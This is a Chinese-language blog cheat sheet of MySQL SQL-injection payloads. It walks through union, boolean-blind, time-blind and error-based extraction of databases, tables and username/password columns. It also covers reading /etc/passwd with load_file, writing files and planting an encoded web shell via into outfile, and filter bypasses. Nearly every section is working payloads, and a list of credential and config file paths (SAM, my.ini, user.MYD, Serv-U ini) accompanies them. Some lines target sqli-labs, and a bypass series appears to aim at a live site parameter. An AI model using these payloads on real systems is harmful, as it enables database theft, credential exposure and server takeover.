前言:

此篇自己结合互联网及工作中整理得到,特此记录并分享出来以供大家需要学习及使用.

Warning:

information_schema Mysql >5.x以上才有此默认数据库,后面的注入部分如果还涉及到此数据库,记得先获取版本后才能使用.

一、基础知识:

1.0.探测注入

'
""
')
")
``

))
id=0
and 1=1
and 1=2
sleep(12)
根据报错去构造语句进行探测;
或者其他类型测试

1.1.注释符

完成SQL注入注释作用
DEMO:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
id=1'--+ //备注:确保print_r(mysql_error())-->没有被注释,不然怎么还叫报错注入呢!
$sql="SELECT * FROM users WHERE id='1‘--+' LIMIT 0,1";
A、#
B、--+
C、%23/
D、--
E、' or '1'='1
F、/*
等等

1.2.涉及函数

涉及到的函数基本会用到我们进行手工注入里面;
union+select+order by+limit
desc
group_concat
floor+rand+count
mid+ord
ascii+substr
left
sleep
exp
bigint
extractvalue
updatexml

1.3.数据库基本知识

1.3.1.数据库版本

VERSION()
@@VERSION
@@GLOBAL.VERSION

1.3.2.当前账户

USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()

1.3.3.当前数据库

DATABASE()
SCHEMA()

1.3.4.相关路径

@@BASEDIR : mysql安装路径:
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径:
@@DATADIR : 数据存储路径:
@@CHARACTER_SETS_DIR : 字符集设置文件路径
@@LOG_ERROR : 错误日志文件路径:
@@PID_FILE : pid-file文件路径
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径:

1.4.文件列表

1.4.1.windows

c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
c:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件 //存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
c:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

1.4.2.linux/unix

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略

1.4.3.log

/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
*conf
/var/cpanel/cpanel.config

二、常规:

2.1.获取列长度

order by num--+
and 1=2 order by num--+
?id=0 and order by num%23
?id=0 union select 1,2,3,4.....--+ //直到页面显示无报错;

2.2.获取注入位置

?id=0' union select 1,2,3%23、 //爆出某个数字
参考1.3基本知识

2.3.获取数据库

id=0' union select 1,2,database()%23
id=0' union select 1,group_concat(schema_name),3 from information_schema.schemata limit 0,1--+
//可获得所有数据库

2.4.获取表

id=0' union select 1,2,username from users%23 //可使用此方式进行猜测表和字段;
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘database_name’ limit 0,1—-+
//可获取指定数据库下的所有表

2.5.获取字段名

id=0' union select 1,username,password from users%23 //获取字段中值
id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘table_name’ limit 0,1—-+
//可获取所有字段名

2.6.获取字段内数据

union select 1,group_concat(column_name1,0x3a,password) from database_name.table_name limit 0,1—-+
//可获取指定字段所有数据;
如果没有明显报错时,此时尝试盲注,尝试报错后获取更多有用信息进行显示;进行获取更多有用信息,

三、盲注:

3.1.布尔

(备注:在实现盲注时建议采用折半法最好)

3.1.1.length(Query)函数

格式:length(str)>num //判断数据的长度
str -->version()、database()等;
DEMO:
当前数据库字段长度:
id=1'and (length(database()))=8--+
或:第一个数据库字段长度:
id=1'and (length((select schema_name from information_schema.schemata limit 0,1)))=18--+
第一张表的字段长度:
id=1'and (length((select table_name from information_schema.tables where table_schema='security' limit 0,1)))=6--+
第一个字段的长度:
id=1'and (length((select column_name from information_schema.columns where table_name='users' limit 0,1)))=2--+

3.1.2.substr(Query)函数

格式:substr(Query,1)>num/string //获取第一个字符后并参与比较
Query-->version、database、等
DEMO:
获取数据库版本第一个字符:5.5.4
id=1' and substr(@@version,1)>5--+
获取当前数据库第一个字符:security
id=1' and substr(database(),1)>'s'--+
获取第一张表的第一个字符:emails
id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'e'--+
获取第一个字段的第一个字符:id
id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'i'--+
id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2)>'c'--+

3.1.3.left(Query)函数

格式:left(str,1)>5 //猜解当前数据字符,
str -->version()、database()、user();
修改left()内数字,测试第一个字符、第二个字符等
DEMO:备注:也可以使用等号更加确定字符是哪个?
获取当前数据库的第一个字符:
id=1' and left(database(),1)>'s'--+ //判断数据库第一个字符是否大于字符a;
id=1' and left(database(),8)='security'--+ //备注:猜解后续字符时,需要把前面的也一并带上;
获取第一个表的第一个字符:
id=1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),2)='em'--+
获取第一个字段的第一个字符:
id=1' and left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i'--+
获取字段数据的第一个字符:
id=1' and left((select username from security.users limit 0,1),1)='D'--+

3.1.4.ord、mid函数

格式:ord(mid(select database()),1,1)>110 //猜测获取字符的ascii码并进行比较;
ord(string) //对获取的字符进行ascii码转换;
mid(column_name,[start],[length]) //
DEMO:修改start部分可以获得不同位置的字符
获取当前数据库第一个字符的ascii码:security
' and ord(mid((select database()),1,1))=115--+ //第一个字符的ascii码
' and ord(mid((select database()),2,1))=101--+ //第二个字符的ascii码
获取第一个表的第一个字符的ascii码:email
id=1' and ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
获取第一个字段的第一个字符的ascii码:id
id=1' and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
id=1' and ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
获取字段数据中第一个字符的ascii码:Dump
id=1' and ord(mid((select username from security.users limit 0,1),1,1))=68--+
id=1' and ord(mid((select username from security.users limit 0,1),2,1))=117--+

3.1.5.ascii、substr函数(和ord、mid函数用法相同)

格式:ascii(substr(select database(),1,1)>120 //猜测获取字符的ascii码并进行比较;
ascii(str) //获取字符的ascii码
substr((query),1,1) //获取查询获得的字符串的第几个字符
DEMO:
获取当前数据库第一字符的ascii码:
id=1' and ascii(substr((select database()),1,1))=115 --+
获取第一张表的第一个字符的ascii码:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+
获取第一个字段的第一个字符的ascii码:
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+
获取字段中第一条数据的ascii码:
id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68--+
id=1' and ascii(substr((select username from security.users limit 0,1),2,1))=117--+

3.1.6.regexp正则注入(逐渐缩小范围尽量直接获取字符)

格式:regexp ‘^…' (备注:正则注入不好的地方是,你无法准确探测第二张表,因为只要其中的表的字符在此正则范围中也不会出现页面不同;)
DEMO:
获取当前数据可能的字符:
id=1' and 1=(select 1 and database() regexp '^[s-z]' limit 0,1) --+
获取第一张表的字符范围:
id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-e]' limit 0,1) --+
获取第一个字段名的字符范围:
id=1'and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^[a-z]' limit 0,1) --+

3.2.时间

3.2.1.sleep函数

涉及函数:
if(condition,true,false)、ascii、substr函、mid、ord、sleep()等函数;
推荐工具Burp Suite
格式:select if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1);
解析:
1、select schema_name from information_schema.schemata limit 0,1 //获取第一个数据库
2、ascii(substr(),1,1)=115 //对获取的数据库字符进行切分并把第一个字符进行ascii编码并进行比较;
3、if(Query,sleep(5),1); //条件判断,如果Query语句正确网页就会出现延迟;
DEMO:
//判断是否存在时间盲注:
id=1" and sleep(5)--+
//判断当前数据库的第一个表的第一个字符:
id=1" and if(ord(mid(database(),1,1))=115,sleep(5),1)--+
//判断第一张表的第一个字符:
id=1" and if(ord(mid((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+
//判断第一个字段的第一个字符:
id=1"and if(ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
//判断的字段内数据的第一个字符:
id=1"and if(ord(mid((select username from security.users limit 0,1),1,1))=68,sleep(5),1)--+

3.2.2.BENCHMARK

备注:执行expr,count次,类似DDOS,会尝试消耗CPU资源;不建议使用;
格式:BENCHMARK(count,expr)

3.3.报错

3.3.1.floor(rand(0)*2)、group by、count(*)函数

备注:得知目标列数多少;可以采用上面的姿势获得;
格式:union select count(*),concat(0x3a,(Query),0x3a,floor(rand(0)*2))a,1 from information_schema.columns group by a --+
DEMO:
获取当前链接账户:(注意观察“1”的位置,可以在前,可以在后,只要确保列的数量一致即可;)
id=1"union select count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a,1 from information_schema.columns group by a --+
获取第一个数据库名:
id=1"union select 1,count(*),concat(0x3a,(select schema_name from information_schema.schemata limit 0,1),0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
获取第一张表:
id=1"union select count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,floor(rand(0)*2))a,1 from information_schema.columns group by a --+
获取字段名:
id=1"union select count(*),concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand(0)*2))a,1 from information_schema.columns group by a --+
获取字段内数据:(单列数据)
id=1"union select 1,count(*),concat(0x3a,(select username from security.users limit 0,1),0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
获取字段内数据:(双列数据)
id=1"union select 1,count(*),concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,password,0x3a) FROM security.users limit 0,1),0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

3.3.2.exp函数

其作用是自然对数,属于Double型整数益处的;最新版本Mysql无法实现报错;
格式:exp(~(select * from(select user())x));
DEMO:
获取第七个数据库: id=1"union select (exp(~(select * FROM(SELECT schema_name from information_schema.schemata limit 7,1)a))),2,3--+
获取表(指定数据库下的所有表):
id=1"union select (exp(~(select * FROM(SELECT group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)a))),2,3--+
获取字段名:
id=1"union select (exp(~(select * FROM(SELECT group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)a))),2,3--+
获取字段内数据:
id=1"union select (exp(~(select * FROM(SELECT group_concat(0x3a,username,0x3a,password) from security.users limit 0,1)a))),2,3--+

3.3.3.bigint溢出

备注:只有5.5.5及其以上版本的MySQL才会产生溢出错误;列长数量已经得知;
格式:select (!(select * from (select database())x) - ~0)
DEMO:
select group获取数据库版本:
?id=0' union select 1,2,(!(select * from (select @@version)x) - ~0)--+
获取所有表:备注:不能显示所有表,只能一一显示;
id=0' union select 1,2,(!(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x) - ~0)--+
列出所有表名:注意对比两者区别和联系;
id=0' union select 1,2,(!(select * from (select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)x) - ~0)--+
获取字段名:
id=0' union select 1,2,(!(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)x) - ~0)--+
获取指定字段内所有数据:
id=0' union select 1,2,(!(select * from (sel_concat(username,0x3a,password) from security.users limit 0,1)x) - ~0)--+

3.3.4.NAME_CONST

备注:此方式是利用mysql重复产生的报错去获取数据,低版本mysql使用较好;
格式:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x
DEMO:
获取数据库版本:
id=0' and 1=(select * from+(select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--+

3.3.5.Xpath报错注入

3.3.5.1.extractvalue函数

备注:长度限制在32位
格式:select extractvalue(1,concat(0x7e,(select database()),0x7e));
DEMO:
获取所有数据库:
id=0' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e))--+
获取表:
id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
获取子段:
id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))--+
获取字段内数据:
id=0' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e))--+

3.3.5.2.updatexml函数

备注:长度限制在32位
格式:select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
DEMO:
获取当前数据库:
id=0' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取所有表:
id=0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
获取所有字段名:
id=0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+
获取字段内数据:
id=0' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users),0x7e),1)--+

五、文件操作

5.1.load_file() 文件读取

备注:当前账户权限为root
id=1' and (select count(*) from mysql.user)>0--+ //如果页面加载完成,则此时权限是root
或:
and (select count(*) from mysql.user)>0--+ //返回错误,应该是管理员给数据库帐户降权
获取passwd文件:
id=0' and 1=2 union select 1,load_file("/etc/passwd"),3%23
其他文件可以参照一、知识部分有文件列表;

5.2.into outfile 文件导入

备注:当前链接账户权限为root、物理路径要知道
格式:union select 1,"string",3 into outfile"/path/test.txt" //文件名称是自己指定;
DEMO:
导入信息到指定目录下的文件:
id=1' and 1=2 union select 1,"this is a testing",3 into outfile"/test/test1/sqli-labs/Less-1/test.txt"--+
此时我们可以直接上传一句话或小马,记得进行编码操作;
char("已经10进制或16进制编码后的一句话木马")

六、特殊情况

6.1.information.schema.tables过滤

如果关键字被禁用或过滤可以采用下面手段绕过:
Spaces/空格 information_schema . tables
Backticks/引号 `information_schema`.`tables`
Specific Code/代码块 /*!information_schema.tables*/
Alternative Names/别名
information_schema.partitions
information_schema.statistics
information_schema.key_column_usage
information_schema.table_constraints
备注:列长数量是知道的;此处是3列;
?id=-1' union select 1,2,count(*) from (select null union select 1 union select !1)as T group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))#

6.2.rand函数被禁用

id=-1' union select 1,2,min(@a:=1) from information_schema.tables group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,@a:=(@a 1)%2)#

七、其他注入

7.1.堆叠注入

在SQL中“分号”表示语句结束,如果当攻击者提交以分号结束后再接上新构造的查询语句导致直接带入到目标数据库中解析执行;并产生报错;
格式:Query1;delect from test; //第一句查询和第二个查询之间存在分号;
DEMO:
获取数据库版本信息:
id=1; select 1,2,version();
获取表信息:
id=1;select group_concat(table_name) from information_schema.tables where table_schema=database();
插入数据到表中:
id=1;insert into si1ent_tab(id,name)values('22','testing');

7.2.二次注入

二次代码注入 主要看输入的地方,是否再进行取值,再运用到sql语句里面.
例如等我们开启gpc ' 会自动变成 \' 但是到了数据里面 就是' 再取出来的时候就是一个'没有 \
流程‘ =>\'=>'
DEMO:
注册账户并插入数据:
and(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)# 通过查test'询账户,导致插入语句报错;

7.3 宽子节注入

宽子节注入出现的原因是由于其网站编码不统一导致,导致查询语句报错;
格式:' //如果存在addslashes函数进行转义,导致转义为: -->\'
逃逸编码:
A、%df%27
B、%a1%27
DEMO:
尝试报错
id=-1%df%27
获取信息
id=-1%df%27union%20select%201,group_concat(name,pass),3%20from%20admin%23

八、绕过技术汇总(备注:其中会比较杂乱)

8.1.and、union、select被过滤绕过

可以使用or、和时间盲注测试;获取当前数据库ascii码并进行比较,根据时间延迟来判断字符ascii码再进行还原到;
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(1)for(1)))=104,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(2)for(1)))=111,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(3)for(1)))=111,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(4)for(1)))=112,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(5)for(1)))=99,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(6)for(1)))=104,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(7)for(1)))=105,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(7)for(1)))=105,sleep(2),0),0)%23&str=fl
php?fatherclassid=83' xor if(now()=sysdate(),if(ascii(mid(database()from(9)for(1)))=97,sleep(2),0),0)%23&str=fl

参考:https://websec.ca/kb/sql_injection //mysql injection cheat sheet

© Copyright 2019  

Powered by  si1ent  

皖ICP备19004273